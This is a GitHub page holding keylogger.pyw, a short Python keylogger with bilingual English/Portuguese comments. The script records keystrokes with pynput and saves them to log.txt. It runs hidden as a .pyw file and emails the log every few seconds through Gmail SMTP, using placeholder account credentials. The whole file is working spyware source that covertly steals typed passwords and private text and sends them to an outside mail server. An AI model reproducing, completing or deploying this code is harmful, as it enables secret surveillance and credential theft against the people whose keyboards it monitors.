-
Notifications
You must be signed in to change notification settings - Fork 0
/
keylogger.pyw
68 lines (56 loc) · 2.05 KB
/
keylogger.pyw
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import logging
import smtplib
import threading
import time
from email.message import EmailMessage
from pynput.keyboard import Key, Listener
file = "log.txt"
logging.basicConfig(filename=file, level=logging.DEBUG, format="%(message)s")
keys_pressed = []
# EN: Choose an on_press function. The first one saves formatted text, while the second does not.
# PT: Escolha uma função on_press. A primeira salva o texto formatado, enquanto a segunda não.
def on_press(key):
try:
if hasattr(key, 'char') and key.char and (key.char.isalpha() or key.char.isdigit()):
keys_pressed.append(key.char)
elif key == Key.space:
keys_pressed.append(" ")
elif hasattr(key,"vk") and 96 <= key.vk <= 105:
keys_pressed.append(str(key.vk - 96))
except AttributeError:
pass
#def on_press(key):
# keys_pressed.append(str(key).replace("'", ""))
def write_file():
while True:
if keys_pressed:
with open(file, "a") as f:
f.write("".join(keys_pressed))
keys_pressed.clear()
time.sleep(1)
def send_email():
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
# EN: Email details.
# PT: Detalhes do email.
email_user = "[email protected]"
email_password = "abcd efgh ijkl mnop"
email_to = ""
subject = ""
body = ""
attachment = "log.txt"
while True:
message = EmailMessage()
message["Subject"] = subject
message["From"] = email_user
message["To"] = email_to
message.set_content(body)
with open(attachment, "rb") as f:
message.add_attachment(f.read(), maintype="text", subtype="plain", filename=attachment)
server.login(email_user, email_password)
server.send_message(message)
time.sleep(5)
threading.Thread(target=write_file, daemon=True).start()
threading.Thread(target=send_email, daemon=True).start()
with Listener(on_press=on_press) as listener:
listener.join()